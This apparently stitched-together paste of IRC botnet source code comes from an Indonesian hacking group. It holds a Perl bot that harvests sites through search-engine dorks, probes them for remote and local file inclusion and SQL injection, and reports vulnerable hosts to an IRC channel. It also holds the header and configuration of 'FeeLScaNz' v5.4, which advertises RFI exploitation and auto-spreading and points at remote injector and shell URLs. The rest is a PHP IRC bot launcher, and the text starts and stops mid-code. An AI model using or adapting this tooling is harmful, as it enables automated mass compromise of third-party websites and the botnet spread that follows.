sendraw($IRC_cur_socket, "PRIVMSG $channel : 15( 13@ 4ALI 15) 13 ".$host." 14RCE Identifier -> 3 Jatim Community ");
}

#sub rfiscan() {
# my $engz = $_[0];
# my $bugz = $_[1];
# my $dork = $_[4];
# my $contatore = 0;
# if ($engz =~ /GooGLe/) {
# my @google=&google($dork);
# push(@total, @google);
# }
# if ($engz =~ /AllTheWeb/) {
# my @alltheweb=&alltheweb($dork);
# push(@total, @alltheweb);
# }
# if ($engz =~ /MsN/) {
# my @msn=&msn($dork);
# push(@total, @msn);
# }
# if ($engz =~ /ALtaViSTa/) {
# my @altavista=&altavista($dork);
# push(@total, @altavista);
# }
# if ($engz =~ /AsK/) {
# my @ask=&ask($dork);
# push(@total, @ask);
# }
# if ($engz =~ /UoL/) {
# my @uol=&uol($dork);
# push(@total, @uol);
# }
# if ($engz =~ /GiGaBLaST/) {
# my @gigablast=&gigablast($dork);
# push(@total, @gigablast);
# }
# if ($engz =~ /LyCos/) {
# my @lycos=&lycos($dork);
# push(@total, @lycos);
# }
# my @clean=&calculate(@total);
# sendraw($IRC_cur_socket, "PRIVMSG $channel : 15( 13@ 4RFI 15)( 13@ 4$engz 15) 14 Total: 4 (".scalar(@total).") 14 Clean: 4 (".scalar(@clean).") ");
# if (scalar(@clean) != 0) {
# sendraw($IRC_cur_socket, "PRIVMSG $channel : 15( 13@ 4RFI 15)( 13@ 4$engz 15) 13 Exploiting 4 $dork ");
# }
# my $uni=scalar(@clean);
# foreach my $target (@clean)
# {
# $contatore++;
# if ($contatore==$uni-1){
# sendraw($IRC_cur_socket, "PRIVMSG $channel : 15( 13@ 4RFI 15)( 13@ 4$engz 15) 10 Scan Finish for 14 $dork ");
# }
# my $xpl = "http://".$target.$bug.$injector."?";
# my $vuln = "http://".$target." 14".$bugz." 13".$phpshell."? ";
# my $re = getcontent($xpl);
# if($re =~ /$rfi_result/ && $re =~ /uid=/){
# os($xpl);
# sendraw($IRC_cur_socket, "PRIVMSG $channel : 15( 13@ 4RFI 15)( 13@ 4$engz 15) 15( 13@ 14Vulnerable 15) 4 ".$vuln." 15( 13@ 6".$os." 15)#( 13@ 3SAFEMODE-OFF 15) ");
# }
# elsif($re =~ /$rfi_result/)
# {
# os($xpl);
# sendraw($IRC_cur_socket, "PRIVMSG $channel : 15( 13@ 4RFI 15)( 13@ 4$engz 15) 15( 13@ 14Vulnerable 15) 4 ".$vuln." 15( 13@ 6".$os." 15)#( 13@ 4SAFEMODE-ON 15) ");
# }
# }
#}
#
sub lfiscan() {
my $engz = $_[0];
my $bugz = $_[1];
my $dork = $_[4];
my $contatore = 0;
if ($engz =~ /GooGLe/) {
my @google=&google($dork);
push(@total, @google);
}
if ($engz =~ /AllTheWeb/) {
my @alltheweb=&alltheweb($dork);
push(@total, @alltheweb);
}
if ($engz =~ /MsN/) {
my @msn=&msn($dork);
push(@total, @msn);
}
if ($engz =~ /ALtaViSTa/) {
my @altavista=&altavista($dork);
push(@total, @altavista);
}
if ($engz =~ /AsK/) {
my @ask=&ask($dork);
push(@total, @ask);
}
if ($engz =~ /UoL/) {
my @uol=&uol($dork);
push(@total, @uol);
}
if ($engz =~ /GiGaBLaST/) {
my @gigablast=&gigablast($dork);
push(@total, @gigablast);
}
if ($engz =~ /LyCos/) {
my @lycos=&lycos($dork);
push(@total, @lycos);
}
my @clean = &calculate(@total);
sendraw($IRC_cur_socket, "PRIVMSG $channel : 15( 13@ 4LFI 15)( 13@ 4$engz 15) 14 Total: 4 (".scalar(@total).") 14 Clean: 4 (".scalar(@clean).") ");
if (scalar(@clean) != 0) {
sendraw($IRC_cur_socket, "PRIVMSG $channel : 15( 13@ 4LFI 15)( 13@ 4$engz 15) 13 Exploiting 4 $dork ");
}
my $uni=scalar(@clean);
foreach my $target (@clean)
{
$contatore++;
if ($contatore==$uni-1){
sendraw($IRC_cur_socket, "PRIVMSG $channel : 15( 13@ 4LFI 15)( 13@ 4$engz 15) 10 Scan Finish for 14 $dork ");
}
my $xpl = "http://".$target.$bugz.$lfi_test;
my $vuln = "http://".$target." 14".$bugz." 13".$lfi_test." ";
my $re = getcontent($xpl);
if ($re =~ /$lfi_output/){
sendraw($IRC_cur_socket, "PRIVMSG $channel : 15( 13@ 4LFI 15)( 13@ 4$engz 15) 15( 13@ 14Vulnerable 15) 4 ".$vuln." 15( 13@ 3J4T1MC0M 15) ");
}
}
}

sub sqlscan() {
my $engz = $_[0];
my $bugz = $_[1];
my $dork = $_[4];
my $contatore = 0;
if ($engz =~ /GooGLe/) {
my @google=&google($dork);
push(@total, @google);
}
if ($engz =~ /AllTheWeb/) {
my @alltheweb=&alltheweb($dork);
push(@total, @alltheweb);
}
if ($engz =~ /google4/) {
my @alltheweb=&google4($dork);
push(@total, @google4);
}
if ($engz =~ /MsN/) {
my @msn=&msn($dork);
push(@total, @msn);
}
if ($engz =~ /ALtaViSTa/) {
my @altavista=&altavista($dork);
push(@total, @altavista);
}
if ($engz =~ /AsK/) {
my @ask=&ask($dork);
push(@total, @ask);
}
if ($engz =~ /UoL/) {
my @uol=&uol($dork);
push(@total, @uol);
}
if ($engz =~ /GiGaBLaST/) {
my @gigablast=&gigablast($dork);
push(@total, @gigablast);
}
if ($engz =~ /LyCos/) {
my @lycos=&lycos($dork);
push(@total, @lycos);
}
my @clean = &calculate(@total);
sendraw($IRC_cur_socket, "PRIVMSG $channel : 15( 13@ 4SQL 15)( 13@ 4$engz 15) 14 Total: 4 (".scalar(@total).") 14 Clean: 4 (".scalar(@clean).") ");
if (scalar(@clean) != 0) {
sendraw($IRC_cur_socket, "PRIVMSG $channel : 15( 13@ 4SQL 15)( 13@ 4$engz 15) 13 Exploiting 4 $dork ");
}
my $uni = scalar(@clean);
foreach my $target (@clean)
{
$contatore++;
if ($contatore==$uni-1){
sendraw($IRC_cur_socket, "PRIVMSG $channel : 15( 13@ 4SQL 15)( 13@ 4$engz 15) 10 Scan Finish for 14 $dork ");
}
my $xpl = "http://".$target.$bugz.$sql_test;
my $vuln = "http://".$target." 14".$bugz." 13[SQL] ";
my $re = getcontent($xpl);
if ($re =~ /$sql_output/){
sendraw($IRC_cur_socket, "PRIVMSG $channel : 15( 13@ 4SQL 15)( 13@ 4$engz 15) 15( 13@ 14ErrorQuery 15) 4 ".$vuln." 15( 13@ 3J4T1MC0M 15) ");
}
}
}

sub os() {
my $site = $_[0];
my $re = &query($site);
while ($re =~ m/<br>os:(.+?)\<br>/g) {
$os = $1;
if ($1 =~ //) { $os = "Unkn0wN"; }
}
}

sub response() {
my $re = getcontent($injector);
if ($re =~ /pZLNd8MwEITvg/) {
sendraw($IRC_cur_socket, "PRIVMSG $channel : 15( 13@ 4RFI 15) 14 « 3Mantep Jaya 14 » ");
}
else {
sendraw($IRC_cur_socket, "PRIVMSG $channel : 15( 13@ 4RFI 15) 14 « 4Bosok COKKK 14 » ");
}
}

sub getcontent() {
$url = $_[0];
my $req = HTTP::Request->new(GET => $url);
my $ua = LWP::UserAgent->new();
$ua->timeout(5);
my $response = $ua->request($req);
return $response->content;
}

sub google(){
my @lst;
my $key = $_[0];
for ($b=0;$b<=1000;$b+=100){
my $Go=("http://www.google.com/search?q=".key($key)."&num=100&filter=0&start=".$b);
my $Res=query($Go);
while ($Res =~ m/<a href=\"?http:\/\/([^>\"]*)\//g){
if ($1 !~ /google/){
my $k=$1;
my @grep=links($k);
push(@lst,@grep);
}
}
}
return @lst;
}

sub alltheweb() {
my @lst;
my $key = $_[0];
my $i = 0;
my $pg = 0;
for ( $i = 0 ; $i <= 1000 ; $i += 100 ) {
my $all = ("http://www.alltheweb.com/search?cat=web&_sb_lang=any&hits=100&q=".key($key)."&o=".$i);
my $Res = query($all);
while ( $Res =~ m/<span class=\"?resURL\"?>http:\/\/(.+?)\<\/span>/g ) {
my $k = $1;
$k =~ s/ //g;
my @grep = links($k);
push( @lst, @grep );
}
}
return @lst;
}

sub google4(){
my @lst;
my $key = $_[0];
my @dom = ("ae","com.ar","at","com.au","be","com.br","ca","ch","cl","de","dk","fi","fr","gr","com.hk",
"ie","co.il","it","co.jp","co.kr","lt","lv","nl","my","co.id","com.pa","com.pe","pl","pt","ru","com.sg",
"com.tr","com.tw","com.ua","co.uk","hu");
for ($b=0;$b<=1000;$b+=100){
my $Domains = $dom[rand(scalar(@dom))];
my $Go4=("http://www.google.".$Domains."/search?q=".key($key)."&num=100&filter=0&start=".$b);
my $Res=query($Go4);
while ($Res =~ m/<a href=\"?http:\/\/([^>\"]*)\//g){
if ($1 !~ /google/){
my $k=$1;
my @grep=links($k);
push(@lst,@grep);
}
}
}
return @lst;
}

sub uol() {
my @lst;
my $key = $_[0];
for ( $b = 1 ; $b <= 1000 ; $b += 10 ) {
my $UoL = ("http://mundo.busca.uol.com.br/buscar.html?q=".key($key)."&start=".$i);
my $Res = query($UoL);
while ( $Res =~ m/<a href=\"http:\/\/([^>\"]*)/g ) {
my $k = $1;
if ( $k !~ /busca|uol|yahoo/ ) {
my $k = $1;
my @grep = links($k);
push( @lst, @grep );
}
}
}
return @lst;
}

sub msn() {
my @lst;
my $key = $_[0];
for ( $b = 1 ; $b <= 1000 ; $b += 10 ) {
my $MsN = ("http://search.live.com/results.aspx?q=".key($key)."&first=".$b."&FORM=PERE");
my $Res = query($MsN);
while ( $Res =~ m/<a href=\"?http:\/\/([^>\"]*)\//g ) {
if ( $1 !~ /msn|live/ ) {
my $k = $1;
my @grep = links($k);
push( @lst, @grep );
}
}
}
return @lst;
}

sub altavista(){
my @lst;
my $key = $_[0];
for ($b=1;$b<=1000;$b+=10){
my $AlT=("http://it.altavista.com/web/results?itag=ody&kgs=0&kls=0&dis=1&q=".key($key)."&stq=".$b);
my $Res=query($AlT);
while ($Res=~m/<span class=ngrn>(.+?)\//g){
if ($1 !~ /altavista/){
my $k=$1;
$k=~s/<//g;
$k=~s/ //g;
my @grep=links($k);
push(@lst,@grep);
}
}
}
return @lst;
}

sub ask() {
my @lst;
my $key = $_[0];
my $i = 0;
my $pg = 0;
for ( $i = 0 ; $i <= 1000 ; $i += 10 ) {
my $Ask = ("http://it.ask.com/web?q=".key($key)."&o=0&l=dir&qsrc=0&qid=EE90DE6E8F53130F363A63EC61448D4FE&dm=all&page=".$i);
my $Res = query($Ask);
while ($Res =~ m/href=\"http:\/\/(.+?)\" onmousedown=/g) {
if ($1 !~ /ask.com/){
my $k = $1;
my @grep = links($k);
push( @lst, @grep );
}
}
}
return @lst;
}

sub gigablast() {
my @lst;
my $key = $_[0];
for ($i = 0; $i <= 1000; $i += 10) {
my $giga = ("http://www.gigablast.com/search?s=".$i."&q=".key($key));
my $Res = query($giga);
while ($Res =~ m/href=http:\/\/(.+?)><font/g) {
if ($1 !~ /answers|gigablast|google|yahoo|msn|teoma|dmoz/){
my $k = $1;
my @grep = links($k);
push(@lst, @grep);
}
}
}
return @lst;
}

sub lycos() {
my @lst;
my $key = $_[0];
for ($i = 0; $i <= 1000; $i += 10) {
my $lyc = ("http://cerca.lycos.it/cgi-bin/pursuit?pag=".$i."&query=".key($key)."&cat=web&enc=utf-8");
my $Res = query($lyc);
while ($Res =~ m/href=\"http:\/\/(.+?)\" >/g) {
if ($1 !~ /lycos/){
my $k = $1;
my @grep = links($k);
push(@lst, @grep);
}
}
}
return @lst;
}

sub links() {
my @l;
my $link = $_[0];
my $host = $_[0];
my $hdir = $_[0];
$hdir =~ s/(.*)\/[^\/]*$/\1/;
$host =~ s/([-a-zA-Z0-9\.]+)\/.*/$1/;
$host .= "/";
$link .= "/";
$hdir .= "/";
$host =~ s/\/\//\//g;
$hdir =~ s/\/\//\//g;
$link =~ s/\/\//\//g;
push( @l, $link, $host, $hdir );
return @l;
}

sub key(){
my $dork=$_[0];
$dork =~ s/ /\+/g;
$dork =~ s/:/\%3A/g;
$dork =~ s/\//\%4F/g;
$dork =~ s/&/\%46/g;
$dork =~ s/\"/\%44/g;
$dork =~ s/\\/\%5C/g;
$dork =~ s/,/\%4C/g;
$dork =~ s/\[/\%5B/g;
$dork =~ s/\]/\%5D/g;
$dork =~ s/\?/\%3F/g;
$dork =~ s/\=/\%3D/g;
$dork =~ s/\|/\%13C/g;
$dork =~ s/@/\%40/g;
return $dork;
}

sub query($) {
my $url = $_[0];
$url =~ s/http:\/\///;
my $host = $url;
my $query = $url;
my $page = "";
$host =~ s/href=\"?http:\/\///;
$host =~ s/([-a-zA-Z0-9\.]+)\/.*/$1/;
$query =~ s/$host//;
if ( $query eq "" ) { $query = "/"; }
eval {
my $sock = IO::Socket::INET->new(PeerAddr => "$host", PeerPort => "80", Proto => "tcp") or return;
print $sock "GET $query HTTP/1.0\r\nHost: $host\r\nAccept: */*\r\nUser-Agent: Mozilla/5.0\r\n\r\n";
my @r = <$sock>;
$page = "@r";
close($sock);
};
return $page;
}

sub calculate {
my @calculate = ();
my %visti = ();
foreach my $element (@_) {
$element =~ s/\/+/\//g;
next if $visti{$element}++;
push @calculate, $element;
}
return @calculate;
}

sub nick {
return unless $#_ == 0;
sendraw("NICK $_[0]");
}

sub notice {
return unless $#_ == 1;
sendraw("NOTICE $_[0] :$_[1]");
}

Source Bot Feelscann

#!/usr/bin/perl
print('
##################################################
## FeeLCoMz RFI Scanner Bot v5.4 (FeeLScaNz.pl) ##
## By FaTaLisTiCz_Fx ##
## ? Agu 2008 - Sep 2009, FeeLCoMz Community ##
##################################################
');
######################################################
## Usage: ##
## perl feelscanz.pl ##
## ##
## Notes: ##
## + All Parameters are optional ##
## ##
## Features: ##
## + RFI Scanner ##
## + RFI Scan & Exploit (Exploit per engine) ##
## + Joomla RFI Scan & Exploit ##
## + Milw0rm Search ##
## + Google bypass (Using PHP) ##
## + Message Spy & Save ##
## + Auto Spreading ##
## + MD5 Crack Search ##
######################################################
## History:
## + Fixed cryptz command (v4.5)
## + Fixed user commands execution by unauthorized user (v4.6) (thx to ajegile)
## + Added options to enable/disable encrypted password (v4.7)
## + Fixed missing hostname on sublink (v4.8)
## + Added links filter to exclude exploiting bad links (v4.9)
## + Fixed private message scanning (v4.9.2) (thx to BLood_roSE)
## + Added spread configuration (v5.0)
## + Updated search engines (v5.1)
## + Added HTTP Error handler for search engines (v5.2)
## + Added more search engines (v5.3) (thx to kaMtiEz, arianom, tukulesto, & Mask_Magician)
## + Added md5 hash & crack tool (v5.4)
#############################################################
## Greets: ##
## JavaHack, RoseBanditz, Kill-9, Hacker-Newbie, JatimCrew ##
#############################################################

use strict;
use IO::Socket::INET;
use LWP::UserAgent;
use HTTP::Request;
use Digest::MD5 qw(md5 md5_hex md5_base64);

my $versi = "v5.4";
my $cmdpre = "!"; #Command Prefix


##[ KONFIGURASI URL ]##
my $fx29id = "http://udon.nfe.go.th/images/id1?"; #Fx29ID1 (Simple) / (Advanced)
my $fx29id2 = "http://udon.nfe.go.th/images/id2?"; #Fx29ID2 (Advanced)
my $fx29sh = "http://www.aneka-asia.com/sendang-art/shell???"; #Fx29Sh (Optional)
my $bypass = "http://jatimcom.shell.la/id/google.php?"; #Googlerz (Optional)

##[ KONFIGURASI SOURCE ]##
my $mysite = "http://jatimcom.uni.cc/irc/"; #Path to Sources URL (Optional)
my $spread = "http://www.aneka-asia.com/sendang-art/jcom???"; #Fx29Spreadz (Optional)
my $joomlaz = "http://www.aneka-asia.com/sendang-art/joomla.txt?"; #Joomla's Bugs List (Required for Joomla RFI Scanner)

##[ KONFIGURASI IRC ]##
my @servers = ("irc.jatimcom.info"); #IRC Servers (Separated by coma)
my %bot = (
nick => "FeeLScaNz[".int(rand(100))."]",
ident => "Felc".int(rand(100)),
chan => ["#jatimcom"], #Channels to join (Separated by coma)
server => $servers[rand(scalar(@servers))],
port => "7000"
);


##[ KONFIGURASI USER ##
## status: admin, user
## cryptz: 0 = Non-Encrypted Password, 1 = Encrypted Password
my %boss = (
cimpli => {
pass => 'cimpli',
status => "admin",
cryptz => 0,
login => 0
},
);


##[ KONFIGURASI SPY ]##
my %spy = (
host => "", #Channels to show spied text
chanz => [""], #Channels to spy (Separated by coma)
wordz => ['http://.+?[=]', 'ftp://.+?'], #Text to spy (Regex, Separated by coma)
foundz => []
);

##[ KONFIGURASI BOT ]##
## Options: 0 = Disable, 1 = Enable
my %conf = (
showsite => 1, #Show link to debug channel (Yes/No)
linez => 4, #Lines per message
sleepz => 3, #Message delay per linez (seconds)
rfipid => 35, #Sites per proccess
rficnt => 100, #Counter setting
rficnt2 => 200, #Counter setting
timeout => 4, #Http socket time out
);

Script Bot PHP 2

<?php
//session_start();
$ArrayList = array("_GET", "_POST");
foreach($ArrayList as $gblArray) {
$keys = array_keys($$gblArray);
foreach($keys as $key) {
@$$key = trim(${$gblArray}[$key]);
}
}

if (!$load) {
?>
<SCRIPT>
function Status() {
nick = sz.nick.value; BOT_PASSWORD = sz.BOT_PASSWORD.value;
username = sz.username.value; channels = sz.channels.value;
Admin = sz.Admin.value;
remotehost = sz.remotehost.value; port = sz.port.value;
document.frames(0).document.writeln("<body bgcolor=#000000 text=#C0C0C0><small>");
setTimeout('document.frames(0).document.writeln("== BotNick : <b>"+nick+"</b><br>"); document.frames(0).window.scroll(0,600);',200);
setTimeout('document.frames(0).document.writeln("== Password : <b>"+BOT_PASSWORD+"</b><br>"); document.frames(0).window.scroll(0,600);',400);
setTimeout('document.frames(0).document.writeln("== Ident : <b>"+username+"</b><br>"); document.frames(0).window.scroll(0,600);',600);
setTimeout('document.frames(0).document.writeln("== Channels : <b>"+channels+"</b><br>"); document.frames(0).window.scroll(0,600);',800);
setTimeout('document.frames(0).document.writeln("== Admin : <b>"+Admin+"</b><br>"); document.frames(0).window.scroll(0,600);',1000);
setTimeout('document.frames(0).document.writeln("== Server : <b>"+remotehost+"</b> Port : <b>"+port+"</b><br>"); document.frames(0).window.scroll(0,600);',1200);
setTimeout('document.frames(0).document.writeln("<b>Connecting To "+remotehost+"</b>...<br></small></body>"); document.frames(0).window.scroll(0,600);',1400);
}
</SCRIPT>
<HTML>
<head>
<style>
td { font-size: 11px; font-family: tahoma,sans-serif }
A:link { text-decoration: none; color: #969696; }
A:visited { text-decoration: none; color: #969696; }
A:hover { color: #969696; text-decoration: underline; }
select { font-size: 11px; font-family: tahoma,sans-serif; BACKGROUND-COLOR: #FF9999; }
input { font-size: 11px; font-family: tahoma,sans-serif; BACKGROUND-COLOR: #FF9999; }
</style>
<title>«���» JatimCom - PHP BoT «���»</title>
</head>
<body bgcolor=#000000 text=#C0C0C0>
<center>
<b>«���» Jatimcom «���»</b>
<br>
<br>
<br>
<FORM name=sz METHOD=post target=status ACTION=<?php echo $PHP_SELF; ?>?load=2 onsubmit="setTimeout('Status()',14000);">
<table border=0>
<tr>
<td>Bot Nick :</td>
<td><INPUT TYPE="text" Value="JatimcomBot" NAME="nick" SIZE="22" MAXLENGTH="30"></td>
<td>Away Message :</td>
<td><INPUT TYPE="text" Value="Away Message" NAME="awaymsg" SIZE="22" MAXLENGTH="50"></td>
</tr>
<tr>
<td>Identify Nick :</td>
<td><INPUT TYPE="password" Value="jatimcom" NAME="identify" SIZE="22" MAXLENGTH="30"></td>
<td>Admin Nick :</td>
<td><INPUT TYPE="text" Value="jatimcom" NAME="Admin" SIZE="22" MAXLENGTH="25"></td>
</tr>
<tr>
<td>Password :</td>
<td><INPUT TYPE="password" Value="jatimcom" NAME="BOT_PASSWORD" SIZE="22" MAXLENGTH="25"></td>
<td>Channels :</td>
<td><INPUT TYPE="text" Value="#jatimcom" NAME="channels" SIZE="22" MAXLENGTH="50"></td>
</tr>
<tr>
<td>Identd :</td>
<td><INPUT TYPE="text" Value="JatimcomBot" NAME="username" SIZE="22" MAXLENGTH="25"></td>
<td>Server :</td>
<td><select SIZE="1" NAME="remotehost" V SIZE="20" MAXLENGTH=50">
<option selected value="irc.dal.net">irc.dal.net</option>
<option value="irc.byroe.net">irc.byroe.net</option>
<option value="irc.allnetwork.org">irc.allnetwork.org</option>
<option value="irc.mildnet.org">irc.mildnet.org</option>

</select>
<INPUT TYPE="text" Value="6667" NAME="port" SIZE="4" MAXLENGTH="4">
</td>
</tr>
<tr>
<td>Full Name :</td>
<td><INPUT TYPE="text" Value="Jatim Community" NAME="realname" SIZE="22" MAXLENGTH="50"></td>
<td>Keep Alive every:</td>
<td><INPUT TYPE="text" Value="0" NAME="keeptime" SIZE="2" MAXLENGTH="2"> Hours (0 to off)</td>
</tr>
</table><br>
<INPUT TYPE="submit" NAME="submit" VALUE="-=| Please Wait |=-">
</FORM>
<iframe src=<?php echo $PHP_SELF; ?>?load=1 width=40% height=80 frameborder=0 marginwidth=0 name=status>
Your browser does not support inline frames or is currently configured not to display inline frames.
</iframe>
<p align="center" style="font-size: 15px; font-family: tahoma,sans-serif;">Visit http://jatimcom.uni.cc/</p>
</BODY>
</HTML>
<?php
} elseif ($load==1) { print "<body bgcolor=#000000 text=#C0C0C0><center>"; print "<b>Jatim Community</b><br>"; exit; }
elseif ($load==2) {
if (!$remotehost) { $remotehost = "irc.dal.net"; }
$channels = str_replace("CNL","#",$channels);
print "<body bgcolor=#000000 text=#C0C0C0>";
print "<b>== Connecting to $remotehost...</b>";

$awaym=array(
"Making Babies",
"Making Dragon",
"Checking mail",
"hacking root",
"tetrinet is not lame",
"BaH!! NoT In",
"Hmmm Not Here",
"Auto-Away after 10 mins",
"DeaD",
"NaTure CaLLs :P brb",
"stomach ache ... im currently in the toilet",
"playstation rulez",
"phonecall",
"brb-a.s.a.p",
"surfing with the alien",
"hungry, exploring my fridge",
"sleep...nuff said",
"Definitely NOT here :P",
"Pretending to be Auto-Away",
"Checking shells",
"Make Love With Someone :P",
"NOT here, use email",
"NOT here, Guess where :P",
"Don`t Keep Me Waiting!",
"xixixixx.....",
"Call FBI if i dont comeback in 24 hours"
);
$cyclem=array(
"Auto Recycle!",
"Looking for Inviter!",
"In/Out!",
"Rehashing!",
"Refreshing!",
"Doing Cycle!",
"Inviter Suspect!",
"Looking for Suspect!",
"Regain Inviter!",
"Regain Suspect!",
"Recycle!",
"Cycle Needed!",
"Cycle all Channel!",
"Cycling!",
"Inviter Detected!",
"Full Cycle Ahead!",
"Going Out and Back!",
"I can do this all day!",
"Cycle Time!",
"I will do this all day!",
"Time to Kill!",
"No day without cycle!",
"yuhuu.. where are you?",
"It`s a good day to die!",
"Time for cycle!",
"License to Kill!",
"Cycle.. cycle.. and cycle..",
"I need suspect!",
"Need For Suspect!",
"Time`s up!",
"No way out!",
"No more left!",
"No regret for inviter!",
"Hot Pursuit!",
"Rule No.96: Cycle!",
"Critical Cycle!",
"Pursue Inviter Suspect!",
"baliemBot? PHP",
"Go To Cycle!",
"Cycle System Running!",
"Cycle Strike Back!",
"I need cycle now!"
);
$partm=array(
"Owner Request! Sorry :P",
"Ups! Wrong Channel!",
"Be Right Back!",
"No One Join Forever!",
"Damn! Wrong Channel!",
"Access Denied!",
"Back To Base!",
"Return To Base!",
"Access Rejected!",
"Going Back!",
"Ilegal Channel!",
"Going Home!",
"Good Bye!",
"Sayonara!",
"Ups! Wrong Room :P",
"Got To Go!",
"Goodbye! Ugly :P",
"Go To Hell!",
"Going Somewhere!",
"No Join Today!",
"It`s a bad day to join :P",
"Part Never Die!",
"Join Another Day!",
"License To Part!",
"Part time!",
"Time To Go!",
"Too many join channel :P",
"The Join is Not Enough!",
"Join too many channel :P",
"It`s time to Go!",
"It`s time to Part!",
"Part for now and Forever!",
"Part Forever!"
);
$querym=array(
"Hai nick, gimana kabarmu?",
"Hai nick, gimana kabarmu hari ini?",
"yup? ada apa nick?",
"ada apa nick?",
"Hai juga nick, asl pls..",
"hai juga nick",
"sori nick, aku lagi sibuk sekarang..",
"yup? nama kamu siapa nick?",
"apa aku kenal kamu nick?",
"yup nick? apa aku kenal kamu?",
"kamu siapa sech?",
"aku lagi tidak ditempat, bentar lagi balik koq..",
"kamu asli mana nih?",
"Hai juga nick..",
"yup nick, senang jumpa kamu..",
"senang kenalan ama kamu..",
"nama asli kamu siapa nick?",
"yup nick? asl pls..",
"aku lagi sibuk nih, bantuin dunk.."
);
$depan=array(
"honai-",
"baliem`",
"heker_",
"vaksin-",
"mayat_",
"sup3r`",
"suntiK-",
"pinang-",
"V4KsIn_",
"b4Li3m`"
);
$belakang=array(
"heker",
"h3k3r"
);
function get_content($url) {
$ch = curl_init();
curl_setopt ($ch, CURLOPT_URL, $url);
curl_setopt ($ch, CURLOPT_HEADER, 0);
ob_start();
curl_exec ($ch);
curl_close ($ch);
$string = ob_get_contents();
ob_end_clean();
return $string;
}
function get_data($dbs,$dpn,$blk) {
$gd = stristr($dbs,$dpn);
$gd = substr($gd,strlen($dpn),strpos($gd,$blk)-strlen($dpn));
return $gd;
}
$smile = array(":)",":P",":E",":P~~",":D",":Q","8)","=)","=P","=D");
$raway = "off";
$log = "off";
$saway = "1";
$rberita = 1;

if (!$stime) { $stime = time(); }
if (!$keeptime || $keeptime==0 ) { $keeptime = "off"; }
if (!$port) { $port = "6666"; }
$Admin = strtolower($Admin);
$auth = array($Admin => array("name" => $Admin, "pass" => $BOT_PASSWORD, "auth" => 1,"status" => "Admin"));
function randchar($len = "8"){
$rchar = NULL;
for($i=0; $i<$len; $i++) {
$char = chr(rand(48,122));
while (!ereg("[a-zA-Z0-9]", $char)){
if($char == $lchar) continue;
$char = chr(rand(48,90));
}
$rchar .= $char;
$lchar = $char;
}
return $rchar;
}
if ($nick=="BaliemPHP1") { $nick = $depan[rand(0,count($depan) - 1)].$belakang[rand(0,count($belakang) - 1)]; }
if ($username=="BaliemPHP1" || !$username) { $username = randchar(3).$_SERVER['HTTP_HOST']; $username = str_replace('www.','',$username); $username = str_replace('.','',$username); $username = str_replace('http://','',$username); }
if ($awaymsg=="Away Message" || !$awaymsg) { $awaymsg = $awaym[rand(0,count($awaym) - 1)]; $raway = "on"; }
if ($realname=="BaliemPHP1" || !$realname) { $realname = $nick; }

$keluar = 0;
$akill = 1;
$katime = 0;
$localhost = 'localhost';
$dayload = date("H:i:s d/m/Y");
ini_set('user_agent','MSIE 5\.5;');
ini_set('allow_call_time_pass_reference','1');
set_time_limit(0);
define ('CRL', "\r\n");
$channels = strtolower($channels)." ";
$channel = explode(" ", $channels);

do {
$fp = fsockopen($remotehost,$port, &$err_num, &$err_msg, 30);
if(!$fp) {
print "<br><b>Cannot connect to $remotehost!<br>Please Try Another Server!</b>";
$keluar = 1;
exit;
}
print "<br><b>== Suceeded connection</b>";
$Header = 'NICK '.$nick . CRL;
$Header .= 'USER '.$username.' '.$localhost.' '.$remotehost.' :'.$realname . CRL;
fputs($fp, $Header);

fputs($fp, 'PRIVMSG nickserv@services.dal.net :identify '.$nick.' '.$identify. CRL);
if ($nickmode) { fputs($fp, 'MODE '.$nick.' :'.$nickmode . CRL); }

foreach ($channel as $v) {
fputs($fp, 'JOIN '.$v . CRL);
}
fputs($fp, 'PRIVMSG ' . $Admin . ' :This is your bot, Please Type: auth <your pass> To Authorized. Created on ' .$dayload . CRL);
if (!$awaymsg) { $awaymsg = "Owner By $Admin"; }
//fputs($fp, 'AWAY :�«�®�¤[JATIMCOM]�¤�®�» 7( 6'.$awaymsg.' 7 ) '. CRL);

$response = '';
while (!feof($fp)) {
$response .= fgets($fp, 1024);
while (substr_count($response,CRL) != 0) {
$offset = strpos($response, CRL);
$data = substr($response,0,$offset);
$response = substr($response,$offset+2);
if (substr($data,0,1) == ':') {
$offsetA = strpos($data, ' ');
$dFrom = substr($data,1,$offsetA-1);
$offsetB = strpos($data, ' :');
$dCommand = substr($data,$offsetA+1,$offsetB-$offsetA-1);
$offsetC = strpos($data, '!');
$dNick = substr($data,1,$offsetC-1);
$iText = substr($data,$offsetB+2);
if (substr($dCommand,0,3)=='465') {
print "<br><b>== This bot have been autokilled.</b>";
$akill = 2;
}
elseif (substr($dCommand,0,3)=='433') {
$nick = $nick.randchar(4);
fputs($fp, 'NICK '.$nick . CRL);
}
elseif (substr($dCommand,0,3)=='432') {
$nick = $nick.randchar(4);
fputs($fp, 'NICK '.$nick . CRL);
fputs($fp, 'PRIVMSG nickserv@services.dal.net :RELEASE '.$nick.' '.$identify. CRL);
}
if (eregi('.dal.net',$dNick) && $akill==2) {
if (eregi('AKILL ID:',$data) || eregi('Your hostmask is',$data) || eregi('Your IP is',$data)) {
print "<br><b>".strstr($data,'***')." </b>";
if (eregi('Your IP is',$data)) {
$keluar = 1;
exit;
}
}
}
$taway = date("i");
if ($taway=="1" || $taway=="11" || $taway=="21" || $taway=="31" || $taway=="41" || $taway=="51") {
if ($taway!=$saway) {
$ctime = time();
$uptime = $ctime - $stime;
if ($uptime>=86400) {
$bagi = $uptime / 86400;
$hari = floor($bagi)."days ";
$sisa = $uptime - ($hari*86400);
$uptime = $sisa;
}
if ($uptime==0) { $jam = ""; $menit = ""; $detik = ""; }
elseif ($uptime>=3600) {
$bagi = $uptime / 3600;
$jam = floor($bagi)."hrs ";
$sisa = $uptime - ($jam*3600);
$uptime = $sisa;
}
if ($uptime==0) { $menit = ""; $detik = ""; }
elseif ($uptime>=60) {
$bagi = $uptime / 60;
$menit = floor($bagi)."mins";
$sisa = $uptime - ($menit*60);
$uptime = $sisa;
}
if ($uptime==0) { $detik = ""; }
else { $detik = $uptime."secs"; }
$uptime = "$hari$jam$menit";
if (strlen($uptime)<4) { $uptime = "1sec"; }
$saway = $taway;
if ($raway=="on") {
$awaymsg = $awaym[rand(0,count($awaym) - 1)];
}
if (!$awaymsg) { $awaymsg = "Owner By $Admin"; }
// fputs($fp,'AWAY :�«�®�¤[JATIMCOM]�¤�®�» [ 6OnLine For: 4 '.$uptime.' 12 ] 7 ( 6'.$awaymsg.' 7 ) '. CRL);
if ($taway=="11" && $keeptime!="off") {
$katime++;
if ($katime>=$keeptime) {
